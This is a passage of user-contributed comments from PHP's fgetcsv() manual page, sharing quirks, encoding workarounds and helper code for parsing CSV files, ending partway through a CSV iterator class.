This function has no special BOM handling. The first cell of the first row will inherit the BOM bytes, i.e. will be 3 bytes longer than expected. As the BOM is invisible you may not notice.

Excel on Windows, or text editors like Notepad, may add the BOM.
Daniel Klein 01-Nov-2016 01:26
The $escape parameter is completely unintuitive, but it is not broken. Here is a breakdown of fgetcsv()'s behaviour. In the examples I've used underscores (_) to show spaces and brackets ([]) to show individual fields:

- Leading whitespace in each field will be stripped if it comes immediately before an enclosure: ___"foo" -> [foo]
- There can only be one enclosure per field, although it will be concatenated with any data that appears between the end enclosure and the next delimiter/new line, including any trailing whitespaces ___"foo"_"bar"__ -> [foo_"bar"__]
- If the field does not start with (leading whitespace +) an enclosure, the whole field is interpreted as raw data, even if enclosure characters appear elsewhere within the field: _foo"bar"_ -> [_foo"bar"_]
- Delimiters cannot be escaped outside enclosures, they have to be enclosed instead. Delimiters don't need to be escaped inside enclosures: "foo,bar","baz,qux" -> [foo,bar][baz,qux]; foo\,bar -> [foo\][bar]; "foo\,bar" -> [foo\,bar]
- Double enclosures inside single enclosures are converted to single enclosures: "foobar" -> [foobar]; "foo""bar" -> [foo"bar]; """foo""" -> ["foo"]; ""foo"" -> [foo""] (empty enclosure followed by raw data)
- The $escape parameter works as expected, but unlike enclosures DOES NOT get unescaped. It is necessary to unescape the data elsewhere in the code: "\"foo\"" -> [\"foo\"]; "foo\"bar" -> [foo\"bar]

Note: the following data (which is a very common problem) is invalid: "\". Its structure is equivalent to "@ or in other words, an open enclosure, some data and no closing enclosure.

The following functions can be used to get the expected behaviour:

<?php
// Removes escape characters before both enclosures and escapes, but leaves everything else untouched, similiar to single quoting
function fgetcsv_unescape_enclosures_and_escapes($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_enclosure = preg_quote($enclosure);
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}({$regex_enclosure}|{$regex_escape})/", '$1', $fields);
  }
  return $fields;
}

// Does NOT remove a lone escape character at the end of a field
function fgetcsv_unescape_all($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.)/s", '$1', $fields);
  }
  return $fields;
}

// Removes lone escape characters at the end of fields
function fgetcsv_unescape_all_strip_last($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.?)/s", '$1', $fields);
  }
  return $fields;
}
?>

Caution: ideally, there shouldn't be any unescaped escape characters outside enclosures; the field should be enclosed and escaped instead. If there are any, they could end up being removed as well, depending on the function used.
from_php at puggan dot se 16-Sep-2016 01:37
Setting the $escape parameter dosn't return unescaped strings, but just avoid splitting on a $delimiter that have an escpae-char infront of it:

<?php
        $tmp_file = "/tmp/test.csv";
        file_put_contents($tmp_file, "\"first\\\";\\\"secound\"");
        echo "raw:" . PHP_EOL . file_get_contents($tmp_file) . PHP_EOL . PHP_EOL;

        echo "fgetcsv escaped bs:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "\\"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;

        echo "fgetcsv escaped #:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "#"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;
?>
vladimir at luchaninov dot com 31-Oct-2015 09:47
Here is an example how to use this function with generators
https://github.com/luchaninov/csv-file-loader (composer require "luchaninov/csv-file-loader:1.*")

$loader = new CsvFileLoader();
$loader->setFilename('/path/to/your_data.csv');

foreach ($loader->getItems() as $item) {
    var_dump($item); // do something here
}

If you have CSV-file like

id,name,surname
1,Jack,Black
2,John,Doe

you'll get 2 items

['id' => '1', 'name' => 'Jack', 'surname' => 'Black']
['id' => '2', 'name' => 'John', 'surname' => 'Doe']
tomasz at marcinkowski dot pl 11-Sep-2013 08:48
For anyone else struggling with disappearing non-latin characters in one-byte encodings - setting LANG env var (as the manual states) does not help at all. Look at LC_ALL instead.

In my case it was set to "pl_PL.utf8" but since my input file was in CP1250 most of polish characters (but not all of them!) had gone missing and city of "?ód?" had become just "d?". I've "fixed" it with "pl_PL".
sander at NOSPAM dot rotorsolutions dot nl 27-Aug-2013 12:49
If you don't want to define an enclosure charachter you can do the following:

<?php
  $row = fgetcsv($handle, 0, $delimiter, 0x00);
?>

I needed this to detect the enclosure used for csv files.
michael dot arnauts at gmail dot com 14-Mar-2012 01:19
fgetcsv seems to handle newlines within fields fine. So in fact it is not reading a line, but keeps reading untill it finds a \n-character that's not quoted as a field.

Example:

<?php
/* test.csv contains:
"col 1","col2","col3"
"this
is
having
multiple
lines","this not","this also not"
"normal record","nothing to see here","no data"
*/

$handle = fopen("test.csv", "r");
while (($data = fgetcsv($handle)) !== FALSE) {
    var_dump($data);
}
?>

Returns:
array(3) {
  [0]=>
  string(5) "col 1"
  [1]=>
  string(4) "col2"
  [2]=>
  string(4) "col3"
}
array(3) {
  [0]=>
  string(29) "this
is
having
multiple
lines"
  [1]=>
  string(8) "this not"
  [2]=>
  string(13) "this also not"
}
array(3) {
  [0]=>
  string(13) "normal record"
  [1]=>
  string(19) "nothing to see here"
  [2]=>
  string(7) "no data"
}

This means that you can expect fgetcsv to handle newlines within fields fine. This was not clear from the documentation.
nick at atomicdesign dot net 13-Jan-2012 12:48
I was getting a bytes exhausted error when iterating through a CSV file. ini_set('auto_detect_line_endings', 1); fixed it.
ifedinachukwu at yahoo dot com 05-Apr-2011 05:43
I had a csv file whose fields included data with line endings (CRLF created by hitting the carriage returns in html textarea). Of course, the LF in these fields was escaped by MySQL during the creation of the csv. Problem is I could NOT get fgetcsv to work correctly here, since each and every LF was regarded as the end of a line of the csv file, even when it was escaped!

Since what I wanted was to get THE FIRST LINE of the csv file, then count the number of fields by exploding on all unescaped commas, I had to resort to this:

<?php
/*
First five lines of csv: the 4th row has a line-break within  a data field. The LFs represent line-feeds or \n
1,okonkwo joseph,nil,2010-01-12 17:41:40LF
2,okafor john,cq and sulphonamides,2010-01-12 17:58:03LF
3,okoye andrew,lives with hubby in abuja,2011-03-30 13:39:19LF
4,okeke peter,In 2001\, had appendicectomy in AbaCR
\LF
In 2004\, had ELCS at a private hoapital in Lagos,2011-03-30 13:39:19LF
5,adewale chris,cq and sulphonamides,2010-01-12 17:58:03LF

*/

        $fp = fopen('file.csv', 'r');
        $i = 1;
        $str='';
        $srch='';
            while (false !== ($char = fgetc($fp))) {
                $str .= $char;//use this to collect the string for outputting
                $srch .= $char;//use this to search for LF, possible preceded by \'
                if(strlen($srch) > 2){
                    $srch = substr($srch, 1);//ie trim off the first char
                }
                if($i > 1 && $srch[1] == chr(10) && $srch[0] != '\\'){//chr(10) is LF, ie \n
                    break;//if you get to the \n NOT preceded by \, that's the real line-ending, stop collecting the string;
                }

            $i++;
        }
        echo $str;//should contain the first line as string

?>
Perhaps there exists a more elegant solution to this issue, in which case I'd be glad to know!
matasbi at gmail dot com 08-Dec-2010 08:22
Parse from Microsoft Excel "Unicode Text (*.txt)" format:

<?php
function parse($file) {
    if (($handle = fopen($file, "r")) === FALSE) return;
    while (($cols = fgetcsv($handle, 1000, "\t")) !== FALSE) {
        foreach( $cols as $key => $val ) {
            $cols[$key] = trim( $cols[$key] );
            $cols[$key] = iconv('UCS-2', 'UTF-8', $cols[$key]."\0") ;
            $cols[$key] = str_replace('""', '"', $cols[$key]);
            $cols[$key] = preg_replace("/^\"(.*)\"$/sim", "$1", $cols[$key]);
        }
        echo print_r($cols, 1);
    }
}
?>
code at ashleyhunt dot co dot uk 04-Dec-2010 07:14
I needed a function to analyse a file for delimiters and line endings prior to importing the file into MySQL using LOAD DATA LOCAL INFILE

I wrote this function to do the job, the results are (mostly) very accurate and it works nicely with large files too.
<?php
function analyse_file($file, $capture_limit_in_kb = 10) {
    // capture starting memory usage
    $output['peak_mem']['start']    = memory_get_peak_usage(true);

    // log the limit how much of the file was sampled (in Kb)
    $output['read_kb']                 = $capture_limit_in_kb;

    // read in file
    $fh = fopen($file, 'r');
        $contents = fread($fh, ($capture_limit_in_kb * 1024)); // in KB
    fclose($fh);

    // specify allowed field delimiters
    $delimiters = array(
        'comma'     => ',',
        'semicolon' => ';',
        'tab'         => "\t",
        'pipe'         => '|',
        'colon'     => ':'
    );

    // specify allowed line endings
    $line_endings = array(
        'rn'         => "\r\n",
        'n'         => "\n",
        'r'         => "\r",
        'nr'         => "\n\r"
    );

    // loop and count each line ending instance
    foreach ($line_endings as $key => $value) {
        $line_result[$key] = substr_count($contents, $value);
    }

    // sort by largest array value
    asort($line_result);

    // log to output array
    $output['line_ending']['results']     = $line_result;
    $output['line_ending']['count']     = end($line_result);
    $output['line_ending']['key']         = key($line_result);
    $output['line_ending']['value']     = $line_endings[$output['line_ending']['key']];
    $lines = explode($output['line_ending']['value'], $contents);

    // remove last line of array, as this maybe incomplete?
    array_pop($lines);

    // create a string from the legal lines
    $complete_lines = implode(' ', $lines);

    // log statistics to output array
    $output['lines']['count']     = count($lines);
    $output['lines']['length']     = strlen($complete_lines);

    // loop and count each delimiter instance
    foreach ($delimiters as $delimiter_key => $delimiter) {
        $delimiter_result[$delimiter_key] = substr_count($complete_lines, $delimiter);
    }

    // sort by largest array value
    asort($delimiter_result);

    // log statistics to output array with largest counts as the value
    $output['delimiter']['results']     = $delimiter_result;
    $output['delimiter']['count']         = end($delimiter_result);
    $output['delimiter']['key']         = key($delimiter_result);
    $output['delimiter']['value']         = $delimiters[$output['delimiter']['key']];

    // capture ending memory usage
    $output['peak_mem']['end'] = memory_get_peak_usage(true);
    return $output;
}
?>

Example Usage:
<?php
$Array = analyse_file('/www/files/file.csv', 10);

// example usable parts
// $Array['delimiter']['value'] => ,
// $Array['line_ending']['value'] => \r\n
?>

Full function output:
Array
(
    [peak_mem] => Array
        (
            [start] => 786432
            [end] => 786432
        )

    [line_ending] => Array
        (
            [results] => Array
                (
                    [nr] => 0
                    [r] => 4
                    [n] => 4
                    [rn] => 4
                )

            [count] => 4
            [key] => rn
            [value] =>

        )

    [lines] => Array
        (
            [count] => 4
            [length] => 94
        )

    [delimiter] => Array
        (
            [results] => Array
                (
                    [colon] => 0
                    [semicolon] => 0
                    [pipe] => 0
                    [tab] => 1
                    [comma] => 17
                )

            [count] => 17
            [key] => comma
            [value] => ,
        )

    [read_kb] => 10
)

Enjoy!

Ashley
mustafa dot kachwala at gmail dot com 25-Oct-2010 01:59
A simple function to return 2 Dimensional array by parsing a CSV file.

<?php
    function get2DArrayFromCsv($file,$delimiter) {
        if (($handle = fopen($file, "r")) !== FALSE) {
            $i = 0;
            while (($lineArray = fgetcsv($handle, 4000, $delimiter)) !== FALSE) {
                for ($j=0; $j<count($lineArray); $j++) {
                    $data2DArray[$i][$j] = $lineArray[$j];
                }
                $i++;
            }
            fclose($handle);
        }
        return $data2DArray;
    }
?>
jack dot peterson at gmail dot com 05-Oct-2010 04:30
If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)

<?php

# Open the File.
if (($handle = fopen("rawdata.csv", "r")) !== FALSE) {
    # Set the parent multidimensional array key to 0.
    $nn = 0;
    while (($data = fgetcsv($handle, 0, ",")) !== FALSE) {
        # Count the total keys in the row.
        $c = count($data);
        # Populate the multidimensional array.
        for ($x=0;$x<$c;$x++)
        {
            $csvarray[$nn][$x] = $data[$x];
        }
        $nn++;
    }
    # Close the File.
    fclose($handle);
}

// take the row'ified data and columnize the array
function columnizeArray($csvarray) {
    $array = array();
    foreach($csvarray as $key=>$value) {
        // reparse into useful array data.
        if ($key == 0) {
            foreach ($value AS $key2=>$value2) {
                $array[$key2] = array();
                $array[$key2][] = $value2;
            }
        }else if ($key > 0){
            foreach ($value as $key3=>$value3) {
                $array[$key3][] = $value3;
            }
        }else{
        }
    }
    return $array;
}
function groupColumns($array = null) {
    $array2 = array();
    foreach ($array as $k=>$v) {
        // procss each column
        // $k = column number
        // $v = array of rows
        if ($k == 0) {}else{ // working on column 2 or higher
            $array2[$v[0]] = array();
            foreach ($array[0] as $k1=>$v1) {
                if ($v1 > 0) { // ignore the column heading
                    // store the first column variable in as the key.
                    // Store the value associated with this item as the value.
                    $array2[$v[0]][$v1] = $v[$k1];
                }
            }
     }
    }
    return $array2;
}

$array2 = groupColumns(columnizeArray($csvarray));

print_r($array2);

?>
Xander 29-Sep-2010 01:42
I had a problem with multibytes. File was windows-1250, script was UTF-8 and set_locale wasn't work so I made a simple and safe workaround:

<?php
$fc = iconv('windows-1250', 'utf-8', file_get_contents($_FILES['csv']['tmp_name']));

            file_put_contents('tmp/import.tmp', $fc);
            $handle = fopen('tmp/import.tmp', "r");
            $rows = array();
            while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

                $rows[] = $data;

            }
            fclose($handle);
            unlink('tmp/import.tmp');
?>

I hope You will find it out usefull.
Sorry for my english.
do not spam aleske at live dot ru 08-Jul-2010 06:38
The PHP's CSV handling stuff is non-standard and contradicts with RFC4180, thus fgetcsv() cannot properly deal with files like this example from Wikipedia:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

Please note: the enclosure symbol is doubled inside fields, field data can contain linebreaks, and there is no real escape symbol. Also, fputcsv() creates non-standard CSV files.

There is a quick and dirty RFC-compliant realization of CSV creation and parsing:

<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $string = '';
  $o = array();

  foreach ($items as $item) {
    if (stripos($item, $CSV_ENCLOSURE) !== false) {
      $item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
    }

    if ((stripos($item, $CSV_SEPARATOR) !== false)
     || (stripos($item, $CSV_ENCLOSURE) !== false)
     || (stripos($item, $CSV_LINEBREAK !== false))) {
      $item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
    }

    $o[] = $item;
  }

  $string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;

  return $string;
}

function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $o = array();

  $cnt = strlen($string);
  $esc = false;
  $escesc = false;
  $num = 0;
  $i = 0;
  while ($i < $cnt) {
    $s = $string[$i];

    if ($s == $CSV_LINEBREAK) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $i++;
        break;
      }
    } elseif ($s == $CSV_SEPARATOR) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $num++;
        $esc = false;
        $escesc = false;
      }
    } elseif ($s == $CSV_ENCLOSURE) {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      if ($esc) {
        $esc = false;
        $escesc = true;
      } else {
        $esc = true;
        $escesc = false;
      }
    } else {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      $o[$num] .= $s;
    }

    $i++;
  }

//  $string = substr($string, $i);

  return $o;
}
?>

References:
RFC4180 - http://tools.ietf.org/html/rfc4180
Wikipedia - http://en.wikipedia.org/wiki/Comma-separated_values#Example

Also, there is complete solution of CSV handling at http://code.google.com/p/parsecsv-for-php/
jonathangrice at yahoo dot com 15-Jun-2010 07:14
This is how to read a csv file into a multidimensional array.

 <?php
    # Open the File.
    if (($handle = fopen("file.csv", "r")) !== FALSE) {
        # Set the parent multidimensional array key to 0.
        $nn = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            # Count the total keys in the row.
            $c = count($data);
            # Populate the multidimensional array.
            for ($x=0;$x<$c;$x++)
            {
                $csvarray[$nn][$x] = $data[$x];
            }
            $nn++;
        }
        # Close the File.
        fclose($handle);
    }
    # Print the contents of the multidimensional array.
    print_r($csvarray);
?>
matthias dot isler at gmail dot com 29-Apr-2010 04:54
If you want to load some translations for your application, don't use csv files for that, even if it's easier to handle.

The following code snippet:

<?php
$lang = array();

$handle = fopen('en.csv', 'r');

while($row = fgetcsv($handle, 500, ';'))
{
    $lang[$row[0]] = $row[1];
}

fclose($handle);
?>

is about 400% slower than this code:

<?php
$lang = array();

$values = parse_ini_file('de.ini');

foreach($values as $key => $val)
{
    $lang[$key] = $val;
}
?>

That's the reason why you should allways use .ini files for translations...

http://php.net/parse_ini_file
kent at marketruler dot com 04-Feb-2010 10:18
Note that fgetcsv, at least in PHP 5.3 or previous, will NOT work with UTF-16 encoded files. Your options are to convert the entire file to ISO-8859-1 (or latin1), or convert line by line and convert each line into ISO-8859-1 encoding, then use str_getcsv (or compatible backwards-compatible implementation). If you need to read non-latin alphabets, probably best to convert to UTF-8.

See str_getcsv for a backwards-compatible version of it with PHP < 5.3, and see utf8_decode for a function written by Rasmus Andersson which provides utf16_decode. The modification I added was that the BOP appears at the top of the file, then not on subsequent lines. So you need to store the endian-ness, and then re-send it upon each subsequent line decoding. This modified version returns the endianness, if it's not available:

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 * From: http://php.net/manual/en/function.utf8-decode.php
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode($str, &$be=null) {
    if (strlen($str) < 2) {
        return $str;
    }
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    $start = 0;
    if ($c0 == 0xFE && $c1 == 0xFF) {
        $be = true;
        $start = 2;
    } else if ($c0 == 0xFF && $c1 == 0xFE) {
        $start = 2;
        $be = false;
    }
    if ($be === null) {
        $be = true;
    }
    $len = strlen($str);
    $newstr = '';
    for ($i = $start; $i < $len; $i += 2) {
        if ($be) {
            $val = ord($str{$i})   << 4;
            $val += ord($str{$i+1});
        } else {
            $val = ord($str{$i+1}) << 4;
            $val += ord($str{$i});
        }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>

Trying the "setlocale" trick did not work for me, e.g.

<?php
setlocale(LC_CTYPE, "en.UTF16");
$line = fgetcsv($file, ...)
?>

But that's perhaps because my platform didn't support it. However, fgetcsv only supports single characters for the delimiter, etc. and complains if you pass in a UTF-16 version of said character, so I gave up on that rather quickly.

Hope this is helpful to someone out there.
jaimthorn at yahoo dot com 04-Dec-2009 02:38
I used fgetcsv to read pipe-delimited data files, and ran into the following quirk.

The data file contained data similar to this:

RECNUM|TEXT|COMMENT
1|hi!|some comment
2|"error!|another comment
3|where does this go?|yet another comment
4|the end!"|last comment

I read the file like this:

<?php
$row = fgetcsv( $fi, $length, '|' );
?>

This causes a problem on record 2: the quote immediately after the pipe causes the file to be read up to the following quote --in this case, in record 4.  Everything in between was stored in a single element of $row.

In this particular case it is easy to spot, but my script was processing thousands of records and it took me some time to figure out what went wrong.

The annoying thing is, that there doesn't seem to be an elegant fix.  You can't tell PHP not to use an enclosure --for example, like this:

<?php
$row = fgetcsv( $fi, $length, '|', '' );
?>

(Well, you can tell PHP that, but it doesn't work.)

So you'd have to resort to a solution where you use an extremely unlikely enclosure, but since the enclosure can only be one character long, it may be hard to find.

Alternatively (and IMNSHO: more elegantly), you can choose to read these files like this, instead:

<?php
$line = fgets( $fi, $length );
$row = explode( '|', $line );
?>

As it's more intuitive and resilient, I've decided to favor this 'construct' over fgetcsv from now on.
james dot ellis at gmail dot com 23-Nov-2008 10:19
If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after:

This will work:
<?php
ini_set('auto_detect_line_endings',TRUE);
$handle = fopen('/path/to/file','r');
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>

This won't, you will still get concatenated fields at the new line position:
<?php
$handle = fopen('/path/to/file','r');
ini_set('auto_detect_line_endings',TRUE);
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>
michael dot martinek at gmail dot com 09-Oct-2008 09:12
Here's something I put together this morning. It allows you to read rows from your CSV and get values based on the name of the column. This works great when your header columns are not always in the same order; like when you're processing many feeds from different customers. Also makes for cleaner, easier to manage code.

So if your feed looks like this:

product_id,category_name,price,brand_name, sku_isbn_upc,image_url,landing_url,title,description
123,Test Category,12.50,No Brand,0,http://www.example.com, http://www.example.com/landing.php, Some Title,Some Description

You can do:
<?php
while ($o->getNext())
{
   $dPrice = $o->getPrice();
   $nProductID = $o->getProductID();
   $sBrandName = $o->getBrandName();
}
?>

If you have any questions or comments regarding this class, they can be directed to michael.martinek@gmail.com as I probably won't be checking back here.

<?php
    define('C_PPCSV_HEADER_RAW',        0);
    define('C_PPCSV_HEADER_NICE',        1);

    class PaperPear_CSVParser
    {
        private $m_saHeader = array();
        private $m_sFileName = '';
        private $m_fp = false;
        private $m_naHeaderMap = array();
        private $m_saValues = array();

        function __construct($sFileName)
        {
            //quick and dirty opening and processing.. you may wish to clean this up
            if ($this->m_fp = fopen($sFileName, 'r'))
            {
                $this->processHeader();
            }
        }

          function __call($sMethodName, $saArgs)
        {
            //check to see if this is a set() or get() request, and extract the name
            if (preg_match("/[sg]et(.*)/", $sMethodName, $saFound))
            {
                //convert the name portion of the [gs]et to uppercase for header checking
                $sName = strtoupper($saFound[1]);

                //see if the entry exists in our named header-> index mapping
                  if (array_key_exists($sName, $this->m_naHeaderMap))
                  {
                      //it does.. so consult the header map for which index this header controls
                      $nIndex = $this->m_naHeaderMap[$sName];
                      if ($sMethodName{0} == 'g')
                      {
                          //return the value stored in the index associated with this name
                             return $this->m_saValues[$nIndex];
                      }
                      else
                      {
                          //set the valuw
                          $this->m_saValues[$nIndex] = $saArgs[0];
                          return true;
                      }
                  }
            }

            //nothing we control so bail out with a false
              return false;
          }

          //get a nicely formatted header name. This will take product_id and make
          //it PRODUCTID in the header map. So now you won't need to worry about whether you need
          //to do a getProductID, or getproductid, or getProductId.. all will work.
        public static function GetNiceHeaderName($sName)
        {
            return strtoupper(preg_replace('/[^A-Za-z0-9]/', '', $sName));
        }

        //process the header entry so we can map our named header fields to a numerical index, which
        //we'll use when we use fgetcsv().
        private function processHeader()
        {
            $sLine = fgets($this->m_fp);
                        //you'll want to make this configurable
            $saFields = split(",", $sLine);

            $nIndex = 0;
            foreach ($saFields as $sField)
            {
                //get the nice name to use for "get" and "set".
                $sField = trim($sField);

                $sNiceName = PaperPear_CSVParser::GetNiceHeaderName($sField);

                //track correlation of raw -> nice name so we don't have to do on-the-fly nice name checks
                $this->m_saHeader[$nIndex] = array(C_PPCSV_HEADER_RAW => $sField, C_PPCSV_HEADER_NICE => $sNiceName);
                $this->m_naHeaderMap[$sNiceName] = $nIndex;
                $nIndex++;
            }
        }

        //read the next CSV entry
        public function getNext()
        {
            //this is a basic read, you will likely want to change this to accomodate what
            //you are using for CSV parameters (tabs, encapsulation, etc).
            if (($saValues = fgetcsv($this->m_fp)) !== false)
            {
                $this->m_saValues = $saValues;
                return true;
            }
            return false;
        }
    }

    //quick example of usage
    $o = new PaperPear_CSVParser('F:\foo.csv');
    while ($o->getNext())
    {
        echo "Price=" . $o->getPrice() . "\r\n";
    }

?>
Tim Henderson 04-Oct-2007 06:40
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues.
myrddin at myrddin dot myrddin 18-Jul-2006 09:14
Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method

Sample usage for small files:-
-------------------------------------
<?php
$importer = new CsvImporter("small.txt",true);
$data = $importer->get();
print_r($data);
?>

Sample usage for large files:-
-------------------------------------
<?php
$importer = new CsvImporter("large.txt",true);
while($data = $importer->get(2000))
{
print_r($data);
}
?>

And heres the class:-
-------------------------------------
<?php
class CsvImporter
{
    private $fp;
    private $parse_header;
    private $header;
    private $delimiter;
    private $length;
    //--------------------------------------------------------------------
    function __construct($file_name, $parse_header=false, $delimiter="\t", $length=8000)
    {
        $this->fp = fopen($file_name, "r");
        $this->parse_header = $parse_header;
        $this->delimiter = $delimiter;
        $this->length = $length;
        $this->lines = $lines;

        if ($this->parse_header)
        {
           $this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
        }

    }
    //--------------------------------------------------------------------
    function __destruct()
    {
        if ($this->fp)
        {
            fclose($this->fp);
        }
    }
    //--------------------------------------------------------------------
    function get($max_lines=0)
    {
        //if $max_lines is set to 0, then get all the data

        $data = array();

        if ($max_lines > 0)
            $line_count = 0;
        else
            $line_count = -1; // so loop limit is ignored

        while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
        {
            if ($this->parse_header)
            {
                foreach ($this->header as $i => $heading_i)
                {
                    $row_new[$heading_i] = $row[$i];
                }
                $data[] = $row_new;
            }
            else
            {
                $data[] = $row;
            }

            if ($max_lines > 0)
                $line_count++;
        }
        return $data;
    }
    //--------------------------------------------------------------------

}
?>
daniel at softel dot jp 08-Mar-2006 07:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
27-Feb-2006 03:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
tokai at binaryriot dot com 07-Nov-2005 02:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

<?php
while ( $data = fgetcsv($database, 32768, "|") )
{
    $i = 0;

    while(isset($data[$i]))
    {
        $data[$i] = rtrim($data[$i]);
        $i++;
    }

    // ....
}
?>
junk at vhd dot com dot au 24-Oct-2005 09:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com 14-Oct-2005 08:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
    const ROW_SIZE = 4096;
    /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
    private $filePointer = null;
    /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
    private $currentElement = null;
    /**
     * The row counter.
     * @var int
     * @access private
     */
    private $rowCounter = null;
    /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
    private $delimiter = null;

    /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
    public function __construct($file, $delimiter=',')
    {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
     * This method resets the file pointer.
     *
     * @access public
     */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
     * This method returns the current row number.
     *
     * @access public
